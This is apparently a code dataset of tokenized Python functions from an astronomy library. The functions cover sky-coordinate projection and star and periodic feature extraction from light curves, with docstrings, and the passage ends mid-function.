{"signature": "def xieta_from_radecl(inra, indecl,<EOL>incenterra, incenterdecl,<EOL>deg=True):", "body": "if deg:<EOL><INDENT>ra = np.radians(inra)<EOL>decl = np.radians(indecl)<EOL>centerra = np.radians(incenterra)<EOL>centerdecl = np.radians(incenterdecl)<EOL><DEDENT>else:<EOL><INDENT>ra = inra<EOL>decl = indecl<EOL>centerra = incenterra<EOL>centerdecl = incenterdecl<EOL><DEDENT>cdecc = np.cos(centerdecl)<EOL>sdecc = np.sin(centerdecl)<EOL>crac = np.cos(centerra)<EOL>srac = np.sin(centerra)<EOL>uu = np.cos(decl)*np.cos(ra)<EOL>vv = np.cos(decl)*np.sin(ra)<EOL>ww = np.sin(decl)<EOL>uun = uu*cdecc*crac + vv*cdecc*srac + ww*sdecc<EOL>vvn = -uu*srac + vv*crac<EOL>wwn = -uu*sdecc*crac - vv*sdecc*srac + ww*cdecc<EOL>denom = vvn*vvn + wwn*wwn<EOL>aunn = np.zeros_like(uun)<EOL>aunn[uun >= <NUM_LIT:1.0>] = <NUM_LIT:0.0><EOL>aunn[uun < <NUM_LIT:1.0>] = np.arccos(uun)<EOL>xi, eta = np.zeros_like(aunn), np.zeros_like(aunn)<EOL>xi[(aunn <= <NUM_LIT:0.0>) | (denom <= <NUM_LIT:0.0>)] = <NUM_LIT:0.0><EOL>eta[(aunn <= <NUM_LIT:0.0>) | (denom <= <NUM_LIT:0.0>)] = <NUM_LIT:0.0><EOL>sdenom = np.sqrt(denom)<EOL>xi[(aunn > <NUM_LIT:0.0>) | (denom > <NUM_LIT:0.0>)] = aunn*vvn/sdenom<EOL>eta[(aunn > <NUM_LIT:0.0>) | (denom > <NUM_LIT:0.0>)] = aunn*wwn/sdenom<EOL>if deg:<EOL><INDENT>return np.degrees(xi), np.degrees(eta)<EOL><DEDENT>else:<EOL><INDENT>return xi, eta<EOL><DEDENT>", "docstring": "This returns the image-plane projected xi-eta coords for inra, indecl.\n\n    Parameters\n    ----------\n\n    inra,indecl : array-like\n        The equatorial coordinates to get the xi, eta coordinates for in decimal\n        degrees or radians.\n\n    incenterra,incenterdecl : float\n        The center coordinate values to use to calculate the plane-projected\n        coordinates around.\n\n    deg : bool\n        If this is True, the input angles are assumed to be in degrees and the\n        output is in degrees as well.\n\n    Returns\n    -------\n\n    tuple of np.arrays\n        This is the (`xi`, `eta`) coordinate pairs corresponding to the\n        image-plane projected coordinates for each pair of input equatorial\n        coordinates in (`inra`, `indecl`).", "id": "f14696:m19"}
{"signature": "def get_starfeatures(lcfile,<EOL>outdir,<EOL>kdtree,<EOL>objlist,<EOL>lcflist,<EOL>neighbor_radius_arcsec,<EOL>deredden=True,<EOL>custom_bandpasses=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>resultdict = {'<STR_LIT>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT:info>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT>':os.path.basename(lcfile)}<EOL>coordfeat = starfeatures.coord_features(lcdict['<STR_LIT>'])<EOL>colorfeat = starfeatures.color_features(<EOL>lcdict['<STR_LIT>'],<EOL>deredden=deredden,<EOL>custom_bandpasses=custom_bandpasses<EOL>)<EOL>colorclass = starfeatures.color_classification(colorfeat,<EOL>coordfeat)<EOL>nbrfeat = starfeatures.neighbor_gaia_features(lcdict['<STR_LIT>'],<EOL>kdtree,<EOL>neighbor_radius_arcsec)<EOL>if nbrfeat['<STR_LIT>'].size > <NUM_LIT:0>:<EOL><INDENT>nbrfeat['<STR_LIT>'] = objlist[nbrfeat['<STR_LIT>']]<EOL>nbrfeat['<STR_LIT>'] = objlist[<EOL>nbrfeat['<STR_LIT>']<EOL>]<EOL>nbrfeat['<STR_LIT>'] = lcflist[<EOL>nbrfeat['<STR_LIT>']<EOL>]<EOL><DEDENT>else:<EOL><INDENT>nbrfeat['<STR_LIT>'] = np.array([])<EOL>nbrfeat['<STR_LIT>'] = np.array([])<EOL>nbrfeat['<STR_LIT>'] = np.array([])<EOL><DEDENT>resultdict.update(coordfeat)<EOL>resultdict.update(colorfeat)<EOL>resultdict.update(colorclass)<EOL>resultdict.update(nbrfeat)<EOL>outfile = os.path.join(outdir,<EOL>'<STR_LIT>' %<EOL>squeeze(resultdict['<STR_LIT>']).replace('<STR_LIT:U+0020>','<STR_LIT:->'))<EOL>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(resultdict, outfd, protocol=<NUM_LIT:4>)<EOL><DEDENT>return outfile<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(os.path.basename(lcfile), e))<EOL>return None<EOL><DEDENT>", "docstring": "This runs the functions from :py:func:`astrobase.varclass.starfeatures`\n    on a single light curve file.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        This is the LC file to extract star features for.\n\n    outdir : str\n        This is the directory to write the output pickle to.\n\n    kdtree: scipy.spatial.cKDTree\n        This is a `scipy.spatial.KDTree` or `cKDTree` used to calculate neighbor\n        proximity features. This is for the light curve catalog this object is\n        in.\n\n    objlist : np.array\n        This is a Numpy array of object IDs in the same order as the\n        `kdtree.data` np.array. This is for the light curve catalog this object\n        is in.\n\n    lcflist : np.array\n        This is a Numpy array of light curve filenames in the same order as\n        `kdtree.data`. This is for the light curve catalog this object is in.\n\n    neighbor_radius_arcsec : float\n        This indicates the radius in arcsec to search for neighbors for this\n        object using the light curve catalog's `kdtree`, `objlist`, `lcflist`,\n        and in GAIA.\n\n    deredden : bool\n        This controls if the colors and any color classifications will be\n        dereddened using 2MASS DUST.\n\n    custom_bandpasses : dict or None\n        This is a dict used to define any custom bandpasses in the\n        `in_objectinfo` dict you want to make this function aware of and\n        generate colors for. Use the format below for this dict::\n\n            {\n            '<bandpass_key_1>':{'dustkey':'<twomass_dust_key_1>',\n                                'label':'<band_label_1>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            .\n            ...\n            .\n            '<bandpass_key_N>':{'dustkey':'<twomass_dust_key_N>',\n                                'label':'<band_label_N>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            }\n\n        Where:\n\n        `bandpass_key` is a key to use to refer to this bandpass in the\n        `objectinfo` dict, e.g. 'sdssg' for SDSS g band\n\n        `twomass_dust_key` is the key to use in the 2MASS DUST result table for\n        reddening per band-pass. For example, given the following DUST result\n        table (using http://irsa.ipac.caltech.edu/applications/DUST/)::\n\n            |Filter_name|LamEff |A_over_E_B_V_SandF|A_SandF|A_over_E_B_V_SFD|A_SFD|\n            |char       |float  |float             |float  |float           |float|\n            |           |microns|                  |mags   |                |mags |\n             CTIO U       0.3734              4.107   0.209            4.968 0.253\n             CTIO B       0.4309              3.641   0.186            4.325 0.221\n             CTIO V       0.5517              2.682   0.137            3.240 0.165\n            .\n            .\n            ...\n\n        The `twomass_dust_key` for 'vmag' would be 'CTIO V'. If you want to\n        skip DUST lookup and want to pass in a specific reddening magnitude\n        for your bandpass, use a float for the value of\n        `twomass_dust_key`. If you want to skip DUST lookup entirely for\n        this bandpass, use None for the value of `twomass_dust_key`.\n\n        `band_label` is the label to use for this bandpass, e.g. 'W1' for\n        WISE-1 band, 'u' for SDSS u, etc.\n\n        The 'colors' list contains color definitions for all colors you want\n        to generate using this bandpass. this list contains elements of the\n        form::\n\n            ['<bandkey1>-<bandkey2>','<BAND1> - <BAND2>']\n\n        where the the first item is the bandpass keys making up this color,\n        and the second item is the label for this color to be used by the\n        frontends. An example::\n\n            ['sdssu-sdssg','u - g']\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    Returns\n    -------\n\n    str\n        Path to the output pickle containing all of the star features for this\n        object.", "id": "f14697:m1"}
{"signature": "def _starfeatures_worker(task):", "body": "try:<EOL><INDENT>(lcfile, outdir, kdtree, objlist,<EOL>lcflist, neighbor_radius_arcsec,<EOL>deredden, custom_bandpasses, lcformat, lcformatdir) = task<EOL>return get_starfeatures(lcfile, outdir,<EOL>kdtree, objlist, lcflist,<EOL>neighbor_radius_arcsec,<EOL>deredden=deredden,<EOL>custom_bandpasses=custom_bandpasses,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This wraps starfeatures.", "id": "f14697:m2"}
{"signature": "def serial_starfeatures(lclist,<EOL>outdir,<EOL>lc_catalog_pickle,<EOL>neighbor_radius_arcsec,<EOL>maxobjects=None,<EOL>deredden=True,<EOL>custom_bandpasses=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None):", "body": "<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if maxobjects:<EOL><INDENT>lclist = lclist[:maxobjects]<EOL><DEDENT>with open(lc_catalog_pickle, '<STR_LIT:rb>') as infd:<EOL><INDENT>kdt_dict = pickle.load(infd)<EOL><DEDENT>kdt = kdt_dict['<STR_LIT>']<EOL>objlist = kdt_dict['<STR_LIT>']['<STR_LIT>']<EOL>objlcfl = kdt_dict['<STR_LIT>']['<STR_LIT>']<EOL>tasks = [(x, outdir, kdt, objlist, objlcfl,<EOL>neighbor_radius_arcsec,<EOL>deredden, custom_bandpasses,<EOL>lcformat, lcformatdir) for x in lclist]<EOL>for task in tqdm(tasks):<EOL><INDENT>result = _starfeatures_worker(task)<EOL><DEDENT>return result<EOL>", "docstring": "This drives the `get_starfeatures` function for a collection of LCs.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The list of light curve file names to process.\n\n    outdir : str\n        The output directory where the results will be placed.\n\n    lc_catalog_pickle : str\n        The path to a catalog containing at a dict with least:\n\n        - an object ID array accessible with `dict['objects']['objectid']`\n\n        - an LC filename array accessible with `dict['objects']['lcfname']`\n\n        - a `scipy.spatial.KDTree` or `cKDTree` object to use for finding\n          neighbors for each object accessible with `dict['kdtree']`\n\n        A catalog pickle of the form needed can be produced using\n        :py:func:`astrobase.lcproc.catalogs.make_lclist` or\n        :py:func:`astrobase.lcproc.catalogs.filter_lclist`.\n\n    neighbor_radius_arcsec : float\n        This indicates the radius in arcsec to search for neighbors for this\n        object using the light curve catalog's `kdtree`, `objlist`, `lcflist`,\n        and in GAIA.\n\n    maxobjects : int\n        The number of objects to process from `lclist`.\n\n    deredden : bool\n        This controls if the colors and any color classifications will be\n        dereddened using 2MASS DUST.\n\n    custom_bandpasses : dict or None\n        This is a dict used to define any custom bandpasses in the\n        `in_objectinfo` dict you want to make this function aware of and\n        generate colors for. Use the format below for this dict::\n\n            {\n            '<bandpass_key_1>':{'dustkey':'<twomass_dust_key_1>',\n                                'label':'<band_label_1>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            .\n            ...\n            .\n            '<bandpass_key_N>':{'dustkey':'<twomass_dust_key_N>',\n                                'label':'<band_label_N>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            }\n\n        Where:\n\n        `bandpass_key` is a key to use to refer to this bandpass in the\n        `objectinfo` dict, e.g. 'sdssg' for SDSS g band\n\n        `twomass_dust_key` is the key to use in the 2MASS DUST result table for\n        reddening per band-pass. For example, given the following DUST result\n        table (using http://irsa.ipac.caltech.edu/applications/DUST/)::\n\n            |Filter_name|LamEff |A_over_E_B_V_SandF|A_SandF|A_over_E_B_V_SFD|A_SFD|\n            |char       |float  |float             |float  |float           |float|\n            |           |microns|                  |mags   |                |mags |\n             CTIO U       0.3734              4.107   0.209            4.968 0.253\n             CTIO B       0.4309              3.641   0.186            4.325 0.221\n             CTIO V       0.5517              2.682   0.137            3.240 0.165\n            .\n            .\n            ...\n\n        The `twomass_dust_key` for 'vmag' would be 'CTIO V'. If you want to\n        skip DUST lookup and want to pass in a specific reddening magnitude\n        for your bandpass, use a float for the value of\n        `twomass_dust_key`. If you want to skip DUST lookup entirely for\n        this bandpass, use None for the value of `twomass_dust_key`.\n\n        `band_label` is the label to use for this bandpass, e.g. 'W1' for\n        WISE-1 band, 'u' for SDSS u, etc.\n\n        The 'colors' list contains color definitions for all colors you want\n        to generate using this bandpass. this list contains elements of the\n        form::\n\n            ['<bandkey1>-<bandkey2>','<BAND1> - <BAND2>']\n\n        where the the first item is the bandpass keys making up this color,\n        and the second item is the label for this color to be used by the\n        frontends. An example::\n\n            ['sdssu-sdssg','u - g']\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    Returns\n    -------\n\n    list of str\n        A list of all star features pickles produced.", "id": "f14697:m3"}
{"signature": "def parallel_starfeatures(lclist,<EOL>outdir,<EOL>lc_catalog_pickle,<EOL>neighbor_radius_arcsec,<EOL>maxobjects=None,<EOL>deredden=True,<EOL>custom_bandpasses=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>nworkers=NCPUS):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if maxobjects:<EOL><INDENT>lclist = lclist[:maxobjects]<EOL><DEDENT>with open(lc_catalog_pickle, '<STR_LIT:rb>') as infd:<EOL><INDENT>kdt_dict = pickle.load(infd)<EOL><DEDENT>kdt = kdt_dict['<STR_LIT>']<EOL>objlist = kdt_dict['<STR_LIT>']['<STR_LIT>']<EOL>objlcfl = kdt_dict['<STR_LIT>']['<STR_LIT>']<EOL>tasks = [(x, outdir, kdt, objlist, objlcfl,<EOL>neighbor_radius_arcsec,<EOL>deredden, custom_bandpasses, lcformat) for x in lclist]<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(_starfeatures_worker, tasks)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>resdict = {os.path.basename(x):y for (x,y) in zip(lclist, results)}<EOL>return resdict<EOL>", "docstring": "This runs `get_starfeatures` in parallel for all light curves in `lclist`.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The list of light curve file names to process.\n\n    outdir : str\n        The output directory where the results will be placed.\n\n    lc_catalog_pickle : str\n        The path to a catalog containing at a dict with least:\n\n        - an object ID array accessible with `dict['objects']['objectid']`\n\n        - an LC filename array accessible with `dict['objects']['lcfname']`\n\n        - a `scipy.spatial.KDTree` or `cKDTree` object to use for finding\n          neighbors for each object accessible with `dict['kdtree']`\n\n        A catalog pickle of the form needed can be produced using\n        :py:func:`astrobase.lcproc.catalogs.make_lclist` or\n        :py:func:`astrobase.lcproc.catalogs.filter_lclist`.\n\n    neighbor_radius_arcsec : float\n        This indicates the radius in arcsec to search for neighbors for this\n        object using the light curve catalog's `kdtree`, `objlist`, `lcflist`,\n        and in GAIA.\n\n    maxobjects : int\n        The number of objects to process from `lclist`.\n\n    deredden : bool\n        This controls if the colors and any color classifications will be\n        dereddened using 2MASS DUST.\n\n    custom_bandpasses : dict or None\n        This is a dict used to define any custom bandpasses in the\n        `in_objectinfo` dict you want to make this function aware of and\n        generate colors for. Use the format below for this dict::\n\n            {\n            '<bandpass_key_1>':{'dustkey':'<twomass_dust_key_1>',\n                                'label':'<band_label_1>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            .\n            ...\n            .\n            '<bandpass_key_N>':{'dustkey':'<twomass_dust_key_N>',\n                                'label':'<band_label_N>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            }\n\n        Where:\n\n        `bandpass_key` is a key to use to refer to this bandpass in the\n        `objectinfo` dict, e.g. 'sdssg' for SDSS g band\n\n        `twomass_dust_key` is the key to use in the 2MASS DUST result table for\n        reddening per band-pass. For example, given the following DUST result\n        table (using http://irsa.ipac.caltech.edu/applications/DUST/)::\n\n            |Filter_name|LamEff |A_over_E_B_V_SandF|A_SandF|A_over_E_B_V_SFD|A_SFD|\n            |char       |float  |float             |float  |float           |float|\n            |           |microns|                  |mags   |                |mags |\n             CTIO U       0.3734              4.107   0.209            4.968 0.253\n             CTIO B       0.4309              3.641   0.186            4.325 0.221\n             CTIO V       0.5517              2.682   0.137            3.240 0.165\n            .\n            .\n            ...\n\n        The `twomass_dust_key` for 'vmag' would be 'CTIO V'. If you want to\n        skip DUST lookup and want to pass in a specific reddening magnitude\n        for your bandpass, use a float for the value of\n        `twomass_dust_key`. If you want to skip DUST lookup entirely for\n        this bandpass, use None for the value of `twomass_dust_key`.\n\n        `band_label` is the label to use for this bandpass, e.g. 'W1' for\n        WISE-1 band, 'u' for SDSS u, etc.\n\n        The 'colors' list contains color definitions for all colors you want\n        to generate using this bandpass. this list contains elements of the\n        form::\n\n            ['<bandkey1>-<bandkey2>','<BAND1> - <BAND2>']\n\n        where the the first item is the bandpass keys making up this color,\n        and the second item is the label for this color to be used by the\n        frontends. An example::\n\n            ['sdssu-sdssg','u - g']\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    nworkers : int\n        The number of parallel workers to launch.\n\n    Returns\n    -------\n\n    dict\n        A dict with key:val pairs of the input light curve filename and the\n        output star features pickle for each LC processed.", "id": "f14697:m4"}
{"signature": "def parallel_starfeatures_lcdir(lcdir,<EOL>outdir,<EOL>lc_catalog_pickle,<EOL>neighbor_radius_arcsec,<EOL>fileglob=None,<EOL>maxobjects=None,<EOL>deredden=True,<EOL>custom_bandpasses=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>nworkers=NCPUS,<EOL>recursive=True):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not fileglob:<EOL><INDENT>fileglob = dfileglob<EOL><DEDENT>LOGINFO('<STR_LIT>' % (lcformat, lcdir))<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(lcdir, fileglob))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(lcdir,<EOL>'<STR_LIT>',<EOL>fileglob),recursive=True)<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(lcdir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>len(matching))<EOL>return parallel_starfeatures(matching,<EOL>outdir,<EOL>lc_catalog_pickle,<EOL>neighbor_radius_arcsec,<EOL>deredden=deredden,<EOL>custom_bandpasses=custom_bandpasses,<EOL>maxobjects=maxobjects,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>nworkers=nworkers)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (lcformat,<EOL>lcdir))<EOL>return None<EOL><DEDENT>", "docstring": "This runs parallel star feature extraction for a directory of LCs.\n\n    Parameters\n    ----------\n\n    lcdir : list of str\n        The directory to search for light curves.\n\n    outdir : str\n        The output directory where the results will be placed.\n\n    lc_catalog_pickle : str\n        The path to a catalog containing at a dict with least:\n\n        - an object ID array accessible with `dict['objects']['objectid']`\n\n        - an LC filename array accessible with `dict['objects']['lcfname']`\n\n        - a `scipy.spatial.KDTree` or `cKDTree` object to use for finding\n          neighbors for each object accessible with `dict['kdtree']`\n\n        A catalog pickle of the form needed can be produced using\n        :py:func:`astrobase.lcproc.catalogs.make_lclist` or\n        :py:func:`astrobase.lcproc.catalogs.filter_lclist`.\n\n    neighbor_radius_arcsec : float\n        This indicates the radius in arcsec to search for neighbors for this\n        object using the light curve catalog's `kdtree`, `objlist`, `lcflist`,\n        and in GAIA.\n\n    fileglob : str\n        The UNIX file glob to use to search for the light curves in `lcdir`. If\n        None, the default value for the light curve format specified will be\n        used.\n\n    maxobjects : int\n        The number of objects to process from `lclist`.\n\n    deredden : bool\n        This controls if the colors and any color classifications will be\n        dereddened using 2MASS DUST.\n\n    custom_bandpasses : dict or None\n        This is a dict used to define any custom bandpasses in the\n        `in_objectinfo` dict you want to make this function aware of and\n        generate colors for. Use the format below for this dict::\n\n            {\n            '<bandpass_key_1>':{'dustkey':'<twomass_dust_key_1>',\n                                'label':'<band_label_1>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            .\n            ...\n            .\n            '<bandpass_key_N>':{'dustkey':'<twomass_dust_key_N>',\n                                'label':'<band_label_N>'\n                                'colors':[['<bandkey1>-<bandkey2>',\n                                           '<BAND1> - <BAND2>'],\n                                          ['<bandkey3>-<bandkey4>',\n                                           '<BAND3> - <BAND4>']]},\n            }\n\n        Where:\n\n        `bandpass_key` is a key to use to refer to this bandpass in the\n        `objectinfo` dict, e.g. 'sdssg' for SDSS g band\n\n        `twomass_dust_key` is the key to use in the 2MASS DUST result table for\n        reddening per band-pass. For example, given the following DUST result\n        table (using http://irsa.ipac.caltech.edu/applications/DUST/)::\n\n            |Filter_name|LamEff |A_over_E_B_V_SandF|A_SandF|A_over_E_B_V_SFD|A_SFD|\n            |char       |float  |float             |float  |float           |float|\n            |           |microns|                  |mags   |                |mags |\n             CTIO U       0.3734              4.107   0.209            4.968 0.253\n             CTIO B       0.4309              3.641   0.186            4.325 0.221\n             CTIO V       0.5517              2.682   0.137            3.240 0.165\n            .\n            .\n            ...\n\n        The `twomass_dust_key` for 'vmag' would be 'CTIO V'. If you want to\n        skip DUST lookup and want to pass in a specific reddening magnitude\n        for your bandpass, use a float for the value of\n        `twomass_dust_key`. If you want to skip DUST lookup entirely for\n        this bandpass, use None for the value of `twomass_dust_key`.\n\n        `band_label` is the label to use for this bandpass, e.g. 'W1' for\n        WISE-1 band, 'u' for SDSS u, etc.\n\n        The 'colors' list contains color definitions for all colors you want\n        to generate using this bandpass. this list contains elements of the\n        form::\n\n            ['<bandkey1>-<bandkey2>','<BAND1> - <BAND2>']\n\n        where the the first item is the bandpass keys making up this color,\n        and the second item is the label for this color to be used by the\n        frontends. An example::\n\n            ['sdssu-sdssg','u - g']\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    nworkers : int\n        The number of parallel workers to launch.\n\n    Returns\n    -------\n\n    dict\n        A dict with key:val pairs of the input light curve filename and the\n        output star features pickle for each LC processed.", "id": "f14697:m5"}
{"signature": "def get_periodicfeatures(<EOL>pfpickle,<EOL>lcbasedir,<EOL>outdir,<EOL>fourierorder=<NUM_LIT:5>,<EOL>transitparams=(-<NUM_LIT>,<NUM_LIT:0.1>,<NUM_LIT:0.1>),<EOL>ebparams=(-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),<EOL>pdiff_threshold=<NUM_LIT>,<EOL>sidereal_threshold=<NUM_LIT>,<EOL>sampling_peak_multiplier=<NUM_LIT>,<EOL>sampling_startp=None,<EOL>sampling_endp=None,<EOL>starfeatures=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>raiseonfail=False<EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if pfpickle.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(pfpickle)<EOL><DEDENT>else:<EOL><INDENT>infd = open(pfpickle)<EOL><DEDENT>pf = pickle.load(infd)<EOL>infd.close()<EOL>lcfile = os.path.join(lcbasedir, pf['<STR_LIT>'])<EOL>objectid = pf['<STR_LIT>']<EOL>if '<STR_LIT>' in pf:<EOL><INDENT>kwargs = pf['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>kwargs = None<EOL><DEDENT>if kwargs and '<STR_LIT>' in kwargs and timecols is None:<EOL><INDENT>timecols = kwargs['<STR_LIT>']<EOL><DEDENT>elif not kwargs and not timecols:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if kwargs and '<STR_LIT>' in kwargs and magcols is None:<EOL><INDENT>magcols = kwargs['<STR_LIT>']<EOL><DEDENT>elif not kwargs and not magcols:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if kwargs and '<STR_LIT>' in kwargs and errcols is None:<EOL><INDENT>errcols = kwargs['<STR_LIT>']<EOL><DEDENT>elif not kwargs and not errcols:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>if not os.path.exists(lcfile):<EOL><INDENT>LOGERROR(\"<STR_LIT>\" % (lcfile, objectid))<EOL>return None<EOL><DEDENT>if starfeatures is not None and os.path.exists(starfeatures):<EOL><INDENT>with open(starfeatures,'<STR_LIT:rb>') as infd:<EOL><INDENT>starfeat = pickle.load(infd)<EOL><DEDENT>if starfeat['<STR_LIT>'].size > <NUM_LIT:0>:<EOL><INDENT>nbr_full_lcf = starfeat['<STR_LIT>'][<NUM_LIT:0>]<EOL>if os.path.exists(os.path.join(lcbasedir,<EOL>os.path.basename(nbr_full_lcf))):<EOL><INDENT>nbrlcf = os.path.join(lcbasedir,<EOL>os.path.basename(nbr_full_lcf))<EOL><DEDENT>elif os.path.exists(nbr_full_lcf):<EOL><INDENT>nbrlcf = nbr_full_lcf<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" 